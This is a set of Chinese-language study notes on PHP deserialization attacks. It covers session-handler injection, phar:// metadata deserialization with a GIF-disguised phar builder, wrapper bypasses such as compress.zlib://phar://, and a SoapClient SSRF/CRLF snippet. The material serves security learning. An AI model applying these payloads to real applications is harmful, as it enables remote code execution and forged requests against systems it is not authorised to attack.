php反序列化

反序列化介绍

利用工具phpggc
序列化格式

a    -->array     --> a:1:{"1","abc"}
b    -->boolean   --> b:0;
d    -->double    --> d:1.2323;d:INF;d:NAN;
i    -->integer   --> i:3;
s/S  -->string,S可以有16进制字符    --> s:3:"abc"; 或者 S:3:"\61bc"
O    -->class     --> O:1:"A":3:{s:4:"\00A\00a";N;s:4:"\00*\00b";N;s:1:"c";s:5:"hello";}
N    -->null      --> N;
r    -->对象引用   --> r:1 (数字为所引用的对象在序列化字符串中第一次出现的位置)
R    -->指针引用   --> R:1 (会修改指针指向的内容)

php magic function

函数介绍

__construct()    #当对象创建(new)时会自动调用,注意在unserialize()时并不会自动调用
__destruct()    #对象被销毁时会自动调用
__sleep()    #serialize()时会先被调用
__wakeup()    #unserialize()时会先被调用
__call()    #在对象中调用一个不可访问方法时调用
__callStatic()    #用静态方式中调用一个不可访问方法时调用
__get()    #获得一个类的成员变量时调用
__set()    #设置一个类的成员变量时调用
__isset()    #当对不可访问属性调用isset()或empty()时调用
__unset()    #当对不可访问属性调用unset()时被调用。
__toString()    #类被当成字符串时的回应方法
__invoke()    #调用函数的方式调用一个对象时的回应方法
__set_state()    #调用var_export()导出类时,此静态方法会被调用。
__clone()    #当对象复制完成时调用
__autoload()    #尝试加载未定义的类
__debugInfo()    #打印所需调试信息

注意事项

  • 当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
  • private的参数被反序列化后变成 \00test\00test1
  • public的参数变成 test1
  • protected的参数变成 \00*\00test1
    最近发现在php7.2版本以上,可以用public来构建反序列化字符串,当php处理时,会自动识别源码中类的属性,变成private或者protected

small trick
如果php反序列化中过滤了控制符
如果版本大于7.2就可以直接用public来构建
同时还有一个方法可以使用大写S表示字符串,支持16进制表示,例如 S:5:"A\00B\09C"

Session反序列化

session共有三个处理器

处理器对应存储格式
php_binary键名的长度对应的ASCII字符+键名+serialize() 处理的值
php键名+竖线+serialize()处理的值
php_serializeserialize()处理后的数组方式

例如m0yuqi=lover

php_serialize处理下为

a:1:{s:6:"m0yuqi";s:5:"lover";}

php处理下为

m0yuqi|s:5:"lover";

session处理器默认设置为php_serialize,如果一个页面设置为php

ini_set('session.serialize_handler', 'php');
session_start();

当session_start()使用时,php就将session默认文件夹中的session进行反序列化
只要控制session中的数据,那么这些数据就可以反序列化
那我们如何控制session数据呢?
查阅资料可知道

session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION

那么我们可以用利用session.upload_progress.enabled构造session
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时
当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据
所以构建session.upload_progress如下

<form action="target" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1"/>    
    <input type="file" name="file" />        
    <input type="submit" value="go" />    
</form>

session里面记录的值是file的值
所以要抓包修改file的值,改成php处理器处理的序列化的值就可以反序列化了

phar://反序列化

phar文件的meta-data是以序列化的形式存储的

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

受影响的函数列表
fileatimefilectimefile_existsfile_get_contents
filefilegroupfopenfile_put_contents
fileinodefilemtimefileownerfileperms
is_diris_fileis_linkis_executable
is_readableis_writableiswriteableparse_ini_file
copyunlinkstatreadfile

在跟踪了受影响函数的调用情况后发现,除了所有文件函数,只要是函数的实现过程直接或间接调用了php_stream_open_wrapper。都可能触发phar反序列化漏洞
以下这些方式都可触发phar反序列化漏洞
exif

exif_thumbnail
exif_imagetype

gd

imageloadfont
imagecreatefrom***

hash

hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file

file / url

get_meta_tags
get_headers

standard

getimagesize

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

MYSQL

LOAD DATA LOCAL INFILE
也会触发这个php_stream_open_wrapper
可以配合mysql读文件和phar来达到RCE

这种攻击的利用条件

  • phar文件要能够上传到服务器端。
  • 要有可用的魔术方法作为“跳板”。
  • 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

利用时,一般将phar伪造成其他格式的文件,添加文件头和修改后缀名

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
    //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

最后访问phar://phar.gif/test.txt就可以反序列化
如果过滤了phar在开头的情况可以使用姿势如下绕过

compress.bzip2://phar://
compress.zlib://phar://
php://filter/read=convert.base64-encode/resource=phar://
php://filter//resource=phar://

some trick

内置类的同名函数

使用如下代码获取有open函数的内置类

<?php
  foreach (get_declared_classes() as $class) {
    foreach (get_class_methods($class) as $method) {
      if ($method == "open")
        echo "$class->$method\n";
    }
  }
?>

伪造任意的php内置类

php内置类:SoapClient,这个类可以发送url请求
SoapClient的参数中有user_agent项可以进行CRLF(\r\n)注入,修改发送的请求Content-type
如下代码,反序列化出来的SoapClient对象调用不存在的函数是,就会调用__call方法访问target

<?php
$target='http://www.m0yuqi.cn/index.php?action=login';
$a = new SoapClient(null,array('location'=>$target,'uri' => "m0yuqi.cn"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

参考

https://github.com/ambionics/phpggc
Phar与Stream Wrapper造成PHP RCE的深入挖掘
利用 phar 拓展 php 反序列化漏洞攻击面
Edit with markdown